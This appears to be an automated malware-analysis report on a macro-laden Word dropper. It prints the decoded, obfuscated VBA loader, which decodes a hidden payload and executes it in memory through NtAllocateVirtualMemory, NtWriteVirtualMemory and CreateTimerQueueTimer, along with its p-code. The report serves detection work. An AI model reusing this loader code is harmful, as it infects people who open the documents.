MALICIOUS
90
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The file is identified as malicious by ClamAV with the signature 'Doc.Dropper.Agent-6337063-0'. It contains VBA macros, including a 'Document_Open' macro, which is a common technique for executing malicious code upon opening the document. The macros likely download and execute a second-stage payload, indicating a dropper functionality.
Heuristics 4
-
ClamAV: Doc.Dropper.Agent-6337063-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Dropper.Agent-6337063-0
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
End Sub Private Sub Document_Open() Dim phylloxeridae As Integer -
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
- http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
- http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
- http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
- http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 42005 bytes |
SHA-256: ef3549755c2dbf39b08369b47f83d4e7f9b674447973752aeace9821fb4155d7 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub condition()
Dim anaesthetize As Long
Dim angora As Long
coumarouna.nitrile.Value = Day(#12/5/2013#)
varday = aphonic = unintroduced
inconsiderable = "evade"
deanery = "plagihedral"
allowable = "replacement"
forlorn = "bakshish"
melody = "oak"
slickness = asynchronism
Set linebacker = coumarouna.nitrile.SelectedItem
naturalization = 18
absterge = 8684
pummel = 274789
Pmt 0, naturalization, 23499, 35977, 8
fragmentary = linebacker.Name
dying = 7844
doit = Right(fragmentary, dying)
salerno = cefoperazone.bond(doit)
cestrum = 82
blackquarter = 6831
cloudlessness = 491648
Pmt 0, cestrum, 5134, 58763, 6
thrush = "tinctorial"
bad = androgen
#If (20 / 4 + 5) > (6 - 2 * 1) And Win64 > (15 - 5 * 3) * 3 Then
Dim physique As String
Dim snowball As LongPtr
Dim sapienti As LongPtr
Dim acanthus As String
#End If
#If (3 * 4 + 5) > (7 - 2 * 1) And Not Win64 > (10 - 5 * 2) * 2 Then
Dim overstrung As Long
Dim sapienti As Long
Dim fingerspelling As Integer
Dim snowball As Long
#End If
cellist = 39 - 39
leeway = "bungalow"
chaeronea = 4096
duet = 54
bavardage = 32580
sabbatarianism = 387888
Pmt 0, duet, 19269, 31789, 5
conceivably = "sayornis"
potaufeu = "pessimal"
forasmuch = "honeycombed"
aim = "tinctured"
dissuasive = 109
morphologic = 35974
cieceronian = 129205
Pmt 0, dissuasive, 8641, 35516, 4
aerobic = salerno
neve = "balister"
scotch = "kingdom"
snowball = blockade(aerobic)
confuted = "luddite"
#If (20 / 4 + 5) > (6 - 2 * 1) And Win64 > (15 - 5 * 3) * 3 Then
Dim unhewn As String
Dim onepan As LongPtr
Dim introspection As LongPtr
Dim parthenocissus As LongPtr
inapplicability = 25 + 126 + 1913
#End If
#If (3 * 4 + 5) > (7 - 2 * 1) And Not Win64 > (10 - 5 * 2) * 2 Then
Dim onepan As Long
bawbee = 78 + 6 + 697
Dim introspection As Long
Dim parthenocissus As Long
inapplicability = bawbee + 3459
#End If
Dim temporis As Byte
Dim drixoral As Long
onepan = 0
sapienti = snowball + inapplicability
introspection = 99 - 83 + 201511
parthenocissus = 3500
artificially = odyllic(introspection, onepan, sapienti, onepan, onepan, onepan, onepan)
perfective = 7
pellicle = 30898
arborescence = 400949
Pmt 0, perfective, 36836, 48257, 4
End Sub
Private Sub Document_Open()
Dim phylloxeridae As Integer
Dim nootka As Integer
coagulation = "rollicker"
equisetum = "enology"
condition
erroneousness = 90 + 2
boron = 28700 + 6
morose = 595280 + 6
Pmt 0, erroneousness, 12009, 20396, 2
End Sub
Function cooptation(morsel, damnosa, houseroom)
#If (20 / 4 + 5) > (6 - 2 * 1) And Win64 > (15 - 5 * 3) * 3 Then
Dim micelle As Integer
Dim himantoglossum As Integer
Dim ea As LongPtr
Dim southbound As LongPtr
Dim delivery As LongPtr
Dim unfrock As Variant
Dim paralytic As LongPtr
Dim headship As LongPtr
#End If
#If (3 * 4 + 5) > (7 - 2 * 1) And Not Win64 > (10 - 5 * 2) * 2 Then
Dim southbound As Long
Dim unreservedly As Integer
Dim ea As Long
Dim placate As Byte
Dim paralytic As Long
Dim dispensary As String
Dim delivery As Long
Dim balmy As Byte
Dim headship As Long
Dim drone As Byte
Dim aspera As Integer
#End If
alto = andorra
blister = Math.Round(210)
southbound = morsel
headship = houseroom
andorra = "apium"
paralytic = damnosa
traditionary = 92
alliaria = 4950
compages = 134484
Pmt 0, traditionary, 5377, 12066, 6
blister = Fix(476)
ea = 78 + 34 - 113
encage ByVal ea, southbound, paralytic, headship, delivery
raven = blister \ 215
End Function
Function blockade(adynamic)
Dim catchpenny As Integer
Dim perceptible As String
Dim rape As Byte
Dim antilogy As Variant
#If (20 / 4 + 5) > (6 - 2 * 1) And Win64 > (15 - 5 * 3) * 3 Then
Dim depurate As Byte
Dim sich As LongPtr
depicture = 12 - 4
Dim memo As LongPtr
Dim frighteningly As Variant
Dim lengthened As Variant
Dim aquifer As LongPtr
Dim tarsitis As Byte
#End If
#If (3 * 4 + 5) > (7 - 2 * 1) And Not Win64 > (10 - 5 * 2) * 2 Then
Dim sich As Long
depicture = 197 + 36 - 229
Dim memo As Long
Dim aquifer As Long
#End If
acrimonious = VarPtr(sich)
cook = cooptation(acrimonious, VarPtr(adynamic) + 8, depicture)
biotic = -1
memo = 118 + 19 - 137
ballad = 100 + 5 - 105
aquifer = 9439
patrimony = 101 - 110 + 4105
decidedly = 33 - 80 + 111
amharic = balloonfish(ByVal biotic, memo, ByVal ballad, aquifer, ByVal patrimony, ByVal decidedly)
andorra = andorra
alto = "impersonal"
cooptation memo, sich, 5883
imputable = 108
scandalmonger = 38071
listening = 297784
Pmt 0, imputable, 22055, 22008, 6
blockade = memo
End Function
Attribute VB_Name = "cefoperazone"
' From the moment when
' And hit me like a hurricane
#If (3 * 4 + 5) > (7 - 2 * 1) And Win64 > (10 - 5 * 2) * 2 Then
' Rain was driving, thunder, lightning
' I was doing alright
Public Declare PtrSafe Function encage Lib "ntdll.dll " Alias "NtWriteVirtualMemory" (ByVal fiscally As Any, ByVal afterdinner As Any, ByVal libya As Any, ByVal muttonhead As Any, ByVal connections As Any) As LongPtr
' The moon went hiding, stars quit shining
' Then you rolled in with your hair in the wind
Public Declare PtrSafe Function damocles Lib "Shlwapi.dll " Alias "GetOverlappedResult" (ByVal acceptive As Any, botttomless As Any, montanan As Any, multimedia As Any) As LongPtr
' Driving us to your house
' Baby, without warning
Public Declare PtrSafe Function odyllic Lib "Kernel32" Alias "CreateTimerQueueTimer" (committeewoman As Any, ByVal angiotensin As Any, ByVal misgiving As Any, ByVal balticfinnic As Any, ByVal misguide As Any, ByVal verity As Any, ByVal clientage As Any) As Long
' I was doing alright
' But just your sight had my heart storming
Public Declare PtrSafe Function provocatively Lib "ntdll.dll " Alias "NtCreateEventPair" (seculorum As LongPtr, eulogize As LongPtr, lustration As LongPtr) As LongPtr
' But just your sight had my heart storming
' You wrecked my whole world when you came
Public Declare PtrSafe Function weatherman Lib "ntdll.dll " Alias "AcquireSRWLockShared" (inorganic As Any) As LongPtr
' We locked eyes over whiskey on ice
' You wrecked my whole world when you came
Public Declare PtrSafe Function balloonfish Lib "ntdll.dll " Alias _
"NtAllocateVirtualMemory" (spontaneous As LongPtr, dudeen As LongPtr, ByVal busman As LongPtr, chapsByVal As LongPtr, askance As LongPtr, ByVal crossquestion As LongPtr) As LongPtr
' You wrecked my whole world when you came
' Hit me like a hurricane
#End If
' We locked eyes over whiskey on ice
' And hit me like a hurricane
#If (3 * 4 + 5) > (7 - 2 * 1) And Not (10 - 5 * 2) * 2 < Win64 Then
' Hit me like a hurricane
' Driving us to your house
Public Declare Function balloonfish Lib "Ntdll.dll " Alias _
"NtAllocateVirtualMemory" (magnificent As Long, judaic As Long, ByVal aloud As Long, outherodByVal As Long, centropristis As Long, ByVal warship As Long) As Long
' You wrecked my whole world when you came
' And hit me like a hurricane
Public Declare Function hoodooed Lib "Shlwapi.dll " Alias "GetOverlappedResult" (ByVal soundman As Any, adultery As Any, sue As Any, vinegar As Any) As Long
' I was doing alright
' You wrecked my whole world when you came
Public Declare Function lampblak Lib "ntdll.dll " Alias "AcquireSRWLockShared" (jingle As Any) As Long
' But just your sight had my heart storming
' From the moment when
Public Declare Function encage Lib "Ntdll.dll " Alias "NtWriteVirtualMemory" (ByVal nestor As Any, ByVal papule As Any, ByVal blazed As Any, ByVal moneygrubber As Any, ByVal hers As Any) As Long
' You wrecked my whole world when you came
' Hit me like a hurricane
Public Declare Function odyllic Lib "Kernel32" Alias "CreateTimerQueueTimer" (loch As Any, ByVal humorlessly As Any, ByVal cardiff As Any, ByVal latchkey As Any, ByVal knowingness As Any, ByVal beefeater As Any, ByVal conciliate As Any) As Long
' If I woulda just layed my drink down
' Driving us to your house
' From the moment when
' Then you rolled in with your hair in the wind
#End If
' But you rolled in with your hair in the wind
' I wouldnt be in my truck
Function antidote(bloodshed, neoexpressionism, daddle)
Select Case daddle
Case (50 + 3) * 1 + (10 / 2 - 5)
antidote = bloodshed \ neoexpressionism
Case (60 + 3) * 1 + (5 - 3) / 2 - 1
antidote = bloodshed And neoexpressionism
Case (70 + 1) * 1 + (56 / 7 - 4 * 2)
antidote = bloodshed * neoexpressionism
End Select
End Function
Function sarajevo()
Dim boarfish(255) As Byte
pris = 128 - 86 - 30 + 53
Do
boarfish(pris) = pris - 65
pris = pris + 1
Loop While 90 + 1 >= pris
pris = 48
Do
boarfish(pris) = pris + 4
pris = pris + 1
Loop While 50 + 8 >= pris
pris = 97
Do
boarfish(pris) = pris - 71
pris = pris + 1
Loop While 120 + 3 >= pris
boarfish(47) = 63
pris = 43
boarfish(pris) = 60 + 2
sarajevo = boarfish
End Function
Function miscible(brewing)
miscible = AscW(brewing)
End Function
Function bond(catasetum) As String
Dim quintal As Long
Dim memoria As Long
Dim flagship As Integer
Dim deliberate As String
unnurtured = unnurtured
alto = andorra
Dim bob(63) As Long
Dim couvade As Long
Dim caucus As Long
Dim bodies() As Byte
Dim magnesium(6962) As Byte
Dim shaken As Long
Dim mole(63) As Long
Dim assault As Byte
Dim insufficient As Long
Dim dulcorate(63) As Long
Dim punkie As String
blister = raven Or 237
Dim crokscrew As Integer
autoclave = 39 + 16515033
arca = 102 + 153
dolefully = 250 + 6
Dim gratuity As String
flax = 4030 + 2
councillorship = 258048
modesty = 80 - 35 + 19
Dim phytolaccaceae As Long
flannelette = 65270 + 10
gearbox = 23 - 125 + 4198
caddo = 22 + 16711658
soirie = 65530 + 6
bastioned = 103 - 60 + 20
everyone = 262140 + 4
Dim bushfighting As Variant
hosea = 4 - 4
legacy = 60 - 49 + 7832
Dim shiftless() As Byte
Dim discursion As Variant
Dim palingenesis As Long
shiftless = VBA.StrConv(catasetum, 128)
Dim compliment As Byte
coalfield = 110 + 5
celiac = 22840 + 5
lending = 511490 + 9
VBA.Financial.Pmt 0, coalfield, 33611, 49048, 2
conceptualistic = 7840 + 3
pullover = vbKeyShift - 12
For clarifying = 0 To conceptualistic
If clarifying Mod 2 = 0 Then
shiftless(clarifying) = shiftless(clarifying) - pullover
Else
shiftless(clarifying) = shiftless(clarifying) - (pullover - 1)
End If
Next clarifying
jonah = 10 + 4
astriction = 28430 + 4
beslubber = 377250 + 2
VBA.Financial.Pmt 0, jonah, 4858, 53441, 8
flagship = 3 - 3
fourinhand = 73 - 105 + 32
frangible = 40 + 3
sum = sarajevo
For couvade = (7 - 7) * 1 To (50 + 13) * (5 - 4)
dulcorate(couvade) = antidote(couvade, modesty, 71)
mole(couvade) = antidote(couvade, gearbox, 71)
bob(couvade) = antidote(couvade, everyone, 71)
Next couvade
rhexia = 90 + 2
endways = 39460 + 8
anodyne = 220800 + 4
VBA.Financial.Pmt 0, rhexia, 34763, 54715, 5
bodies = shiftless
bedouin = 5 - 1
hide = 30 + 2
ascending = 7730 + 9
jambos = 393940 + 5
VBA.Financial.Pmt 0, hide, 33969, 23865, 3
atrium = 5 - 2
raven = Fix(112)
blister = raven * 3
mohave = atrium + 1
inappropriately = 101 - 99
For insufficient = 0 To conceptualistic
Comparison = bodies(insufficient)
dogmatizer = bodies(insufficient + 2)
lasting = mole(sum(bodies(insufficient + 1)))
dumb = dulcorate(sum(dogmatizer)) + sum(bodies(insufficient + atrium))
shaken = bob(sum(Comparison)) + lasting + dumb
couvade = antidote(shaken, caddo, 63)
magnesium(quintal) = antidote(couvade, soirie, 53)
couvade = antidote(shaken, flannelette, 63)
magnesium(quintal + 1) = antidote(couvade, dolefully, 53)
magnesium(quintal + inappropriately) = antidote(shaken, arca, 63)
quintal = quintal + inappropriately + 1
insufficient = insufficient + 3
Next
bond = magnesium
End Function
Attribute VB_Name = "coumarouna"
Attribute VB_Base = "0{9F2E9EEC-246F-4C2D-BE2C-185DA39277D8}{6FFEF2E4-312D-456A-87EE-8D993A1E02B1}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
' Processing file: /opt/analyzer/scan_staging/c16e8a65c55048e9a0cb4c8b676ea20c.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 14379 bytes
' Line #0:
' Line #1:
' Line #2:
' Line #3:
' Line #4:
' FuncDefn (Sub condition())
' Line #5:
' Dim
' VarDefn anaesthetize (As Long)
' Line #6:
' Dim
' VarDefn angora (As Long)
' Line #7:
' LitDate 0x0000 0x0000 0x51A0 0x40E4
' ArgsLd Day 0x0001
' Ld coumarouna
' MemLd nitrile
' MemSt Value
' Line #8:
' Ld aphonic
' Ld unintroduced
' Eq
' St varday
' Line #9:
' LitStr 0x0005 "evade"
' St inconsiderable
' Line #10:
' LitStr 0x000B "plagihedral"
' St deanery
' Line #11:
' LitStr 0x000B "replacement"
' St allowable
' Line #12:
' LitStr 0x0008 "bakshish"
' St forlorn
' Line #13:
' Line #14:
' LitStr 0x0003 "oak"
' St melody
' Line #15:
' Ld asynchronism
' St slickness
' Line #16:
' SetStmt
' Ld coumarouna
' MemLd nitrile
' MemLd SelectedItem
' Set linebacker
' Line #17:
' LitDI2 0x0012
' St naturalization
' Line #18:
' LitDI2 0x21EC
' St absterge
' Line #19:
' LitDI4 0x3165 0x0004
' St pummel
' Line #20:
' LitDI2 0x0000
' Ld naturalization
' LitDI2 0x5BCB
' LitDI4 0x8C89 0x0000
' LitDI2 0x0008
' ArgsCall Pmt 0x0005
' Line #21:
' Line #22:
' Ld linebacker
' MemLd Name
' St fragmentary
' Line #23:
' LitDI2 0x1EA4
' St dying
' Line #24:
' Ld fragmentary
' Ld dying
' ArgsLd Right 0x0002
' St doit
' Line #25:
' Ld doit
' Ld cefoperazone
' ArgsMemLd bond 0x0001
' St salerno
' Line #26:
' LitDI2 0x0052
' St cestrum
' Line #27:
' LitDI2 0x1AAF
' St blackquarter
' Line #28:
' LitDI4 0x8080 0x0007
' St cloudlessness
' Line #29:
' LitDI2 0x0000
' Ld cestrum
' LitDI2 0x140E
' LitDI4 0xE58B 0x0000
' LitDI2 0x0006
' ArgsCall Pmt 0x0005
' Line #30:
' Line #31:
' LitStr 0x000A "tinctorial"
' St thrush
' Line #32:
' Ld androgen
' St bad
' Line #33:
' LbMark
' LitDI2 0x0014
' LitDI2 0x0004
' Div
' LitDI2 0x0005
' Add
' Paren
' LitDI2 0x0006
' LitDI2 0x0002
' LitDI2 0x0001
' Mul
' Sub
' Paren
' Gt
' Ld Win64
' LitDI2 0x000F
' LitDI2 0x0005
' LitDI2 0x0003
' Mul
' Sub
' Paren
' LitDI2 0x0003
' Mul
' Gt
' And
' LbIf
' Line #34:
' Dim
' VarDefn physique (As String)
' Line #35:
' Dim
' VarDefn snowball (As Ptr)
' Line #36:
' Dim
' VarDefn sapienti (As Ptr)
' Line #37:
' Dim
' VarDefn acanthus (As String)
' Line #38:
' LbMark
' LbEndIf
' Line #39:
' LbMark
' LitDI2 0x0003
' LitDI2 0x0004
' Mul
' LitDI2 0x0005
' Add
' Paren
' LitDI2 0x0007
' LitDI2 0x0002
' LitDI2 0x0001
' Mul
' Sub
' Paren
' Gt
' Ld Win64
' LitDI2 0x000A
' LitDI2 0x0005
' LitDI2 0x0002
' Mul
' Sub
' Paren
' LitDI2 0x0002
' Mul
' Gt
' Not
' And
' LbIf
' Line #40:
' Dim
' VarDefn overstrung (As Long)
' Line #41:
' Dim
' VarDefn sapienti (As Long)
' Line #42:
' Dim
' VarDefn fingerspelling (As Integer)
' Line #43:
' Dim
' VarDefn snowball (As Long)
' Line #44:
' LbMark
' LbEndIf
' Line #45:
' LitDI2 0x0027
' LitDI2 0x0027
' Sub
' St cellist
' Line #46:
' LitStr 0x0008 "bungalow"
' St leeway
' Line #47:
' LitDI2 0x1000
' St chaeronea
' Line #48:
' LitDI2 0x0036
' St duet
' Line #49:
' LitDI2 0x7F44
' St bavardage
' Line #50:
' LitDI4 0xEB30 0x0005
' St sabbatarianism
' Line #51:
' LitDI2 0x0000
' Ld duet
' LitDI2 0x4B45
' LitDI2 0x7C2D
' LitDI2 0x0005
' ArgsCall Pmt 0x0005
' Line #52:
' Line #53:
' LitStr 0x0008 "sayornis"
' St conceivably
' Line #54:
' LitStr 0x0008 "pessimal"
' St potaufeu
' Line #55:
' LitStr 0x000B "honeycombed"
' St forasmuch
' Line #56:
' LitStr 0x0009 "tinctured"
' St aim
' Line #57:
' LitDI2 0x006D
' St dissuasive
' Line #58:
' LitDI4 0x8C86 0x0000
' St morphologic
' Line #59:
' LitDI4 0xF8B5 0x0001
' St cieceronian
' Line #60:
' LitDI2 0x0000
' Ld dissuasive
' LitDI2 0x21C1
' LitDI4 0x8ABC 0x0000
' LitDI2 0x0004
' ArgsCall Pmt 0x0005
' Line #61:
' Line #62:
' Ld salerno
' St aerobic
' Line #63:
' LitStr 0x0008 "balister"
' St neve
' Line #64:
' LitStr 0x0007 "kingdom"
' St scotch
' Line #65:
' Ld aerobic
' ArgsLd blockade 0x0001
' St snowball
' Line #66:
' LitStr 0x0007 "luddite"
' St confuted
' Line #67:
' LbMark
' LitDI2 0x0014
' LitDI2 0x0004
' Div
' LitDI2 0x0005
' Add
' Paren
' LitDI2 0x0006
' LitDI2 0x0002
' LitDI2 0x0001
' Mul
' Sub
' Paren
' Gt
' Ld Win64
' LitDI2 0x000F
' LitDI2 0x0005
' LitDI2 0x0003
' Mul
' Sub
' Paren
' LitDI2 0x0003
' Mul
' Gt
' And
' LbIf
' Line #68:
' Dim
' VarDefn unhewn (As String)
' Line #69:
' Dim
' VarDefn onepan (As Ptr)
' Line #70:
' Dim
' VarDefn introspection (As Ptr)
' Line #71:
' Dim
' VarDefn parthenocissus (As Ptr)
' Line #72:
' LitDI2 0x0019
' LitDI2 0x007E
' Add
' LitDI2 0x0779
' Add
' St inapplicability
' Line #73:
' LbMark
' LbEndIf
' Line #74:
' LbMark
' LitDI2 0x0003
' LitDI2 0x0004
' Mul
' LitDI2 0x0005
' Add
' Paren
' LitDI2 0x0007
' LitDI2 0x0002
' LitDI2 0x0001
' Mul
' Sub
' Paren
' Gt
' Ld Win64
' LitDI2 0x000A
' LitDI2 0x0005
' LitDI2 0x0002
' Mul
' Sub
' Paren
' LitDI2 0x0002
' Mul
' Gt
' Not
' And
' LbIf
' Line #75:
' Dim
' VarDefn onepan (As Long)
' Line #76:
' LitDI2 0x004E
' LitDI2 0x0006
' Add
' LitDI2 0x02B9
' Add
' St bawbee
' Line #77:
' Dim
' VarDefn introspection (As Long)
' Line #78:
' Dim
' VarDefn parthenocissus (As Long)
' Line #79:
' Ld bawbee
' LitDI2 0x0D83
' Add
' St inapplicability
' Line #80:
' Line #81:
' LbMark
' LbEndIf
' Line #82:
' Dim
' VarDefn temporis (As Byte)
' Line #83:
' Dim
' VarDefn drixoral (As Long)
' Line #84:
' LitDI2 0x0000
' St onepan
' Line #85:
' Ld snowball
' Ld inapplicability
' Add
' St sapienti
' Line #86:
' LitDI2 0x0063
' LitDI2 0x0053
' Sub
' LitDI4 0x1327 0x0003
' Add
' St introspection
' Line #87:
' LitDI2 0x0DAC
' St parthenocissus
' Line #88:
' Ld introspection
' Ld onepan
' Ld sapienti
' Ld onepan
' Ld onepan
' Ld onepan
' Ld onepan
' ArgsLd odyllic 0x0007
' St artificially
' Line #89:
' LitDI2 0x0007
' St perfective
' Line #90:
' LitDI2 0x78B2
' St pellicle
' Line #91:
' LitDI4 0x1E35 0x0006
' St arborescence
' Line #92:
' LitDI2 0x0000
' Ld perfective
' LitDI4 0x8FE4 0x0000
' LitDI4 0xBC81 0x0000
' LitDI2 0x0004
' ArgsCall Pmt 0x0005
' Line #93:
' Line #94:
' EndSub
' Line #95:
' FuncDefn (Sub Document_Open())
' Line #96:
' Dim
' VarDefn phylloxeridae (As Integer)
' Line #97:
' Dim
' VarDefn nootka (As Integer)
' Line #98:
' LitStr 0x0009 "rollicker"
' St coagulation
' Line #99:
' LitStr 0x0007 "enology"
' St equisetum
' Line #100:
' ArgsCall condition 0x0000
' Line #101:
' LitDI2 0x005A
' LitDI2 0x0002
' Add
' St erroneousness
' Line #102:
' LitDI2 0x701C
' LitDI2 0x0006
' Add
' St boron
' Line #103:
' LitDI4 0x1550 0x0009
' LitDI2 0x0006
' Add
' St morose
' Line #104:
' LitDI2 0x0000
' Ld erroneousness
' LitDI2 0x2EE9
' LitDI2 0x4FAC
' LitDI2 0x0002
' ArgsCall Pmt 0x0005
' Line #105:
' EndSub
' Line #106:
' Line #107:
' FuncDefn (Function cooptation(morsel))
' Line #108:
' LbMark
' LitDI2 0x0014
' LitDI2 0x0004
' Div
' LitDI2 0x0005
' Add
' Paren
' LitDI2 0x0006
' LitDI2 0x0002
' LitDI2 0x0001
' Mul
' Sub
' Paren
' Gt
' Ld Win64
' LitDI2 0x000F
' LitDI2 0x0005
' LitDI2 0x0003
' Mul
' Sub
' Paren
' LitDI2 0x0003
' Mul
' Gt
' And
' LbIf
' Line #109:
' Dim
' VarDefn micelle (As Integer)
' Line #110:
' Dim
' VarDefn himantoglossum (As Integer)
' Line #111:
' Dim
' VarDefn ea (As Ptr)
' Line #112:
' Dim
' VarDefn southbound (As Ptr)
' Line #113:
' Dim
' VarDefn delivery (As Ptr)
' Line #114:
' Dim
' VarDefn unfrock (As Variant)
' Line #115:
' Dim
' VarDefn paralytic (As Ptr)
' Line #116:
' Dim
' VarDefn headship (As Ptr)
' Line #117:
' LbMark
' LbEndIf
' Line #118:
' LbMark
' LitDI2 0x0003
' LitDI2 0x0004
' Mul
' LitDI2 0x0005
' Add
' Paren
' LitDI2 0x0007
' LitDI2 0x0002
' LitDI2 0x0001
' Mul
' Sub
' Paren
' Gt
' Ld Win64
' LitDI2 0x000A
' LitDI2 0x0005
' LitDI2 0x0002
' Mul
' Sub
' Paren
' LitDI2 0x0002
' Mul
' Gt
' Not
' And
' LbIf
' Line #119:
' Dim
' VarDefn southbound (As Long)
' Line #120:
' Dim
' VarDefn unreservedly (As Integer)
' Line #121:
' Dim
' VarDefn ea (As Long)
' Line #122:
' Dim
' VarDefn placate (As Byte)
' Line #123:
' Dim
' VarDefn paralytic (As Long)
' Line #124:
' Dim
' VarDefn dispensary (As String)
' Line #125:
' Dim
' VarDefn delivery (As Long)
' Line #126:
' Dim
' VarDefn balmy (As Byte)
' Line #127:
' Dim
' VarDefn headship (As Long)
' Line #128:
' Dim
' VarDefn drone (As Byte)
' Line #129:
' Dim
' VarDefn aspera (As Integer)
' Line #130:
' LbMark
' LbEndIf
…
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.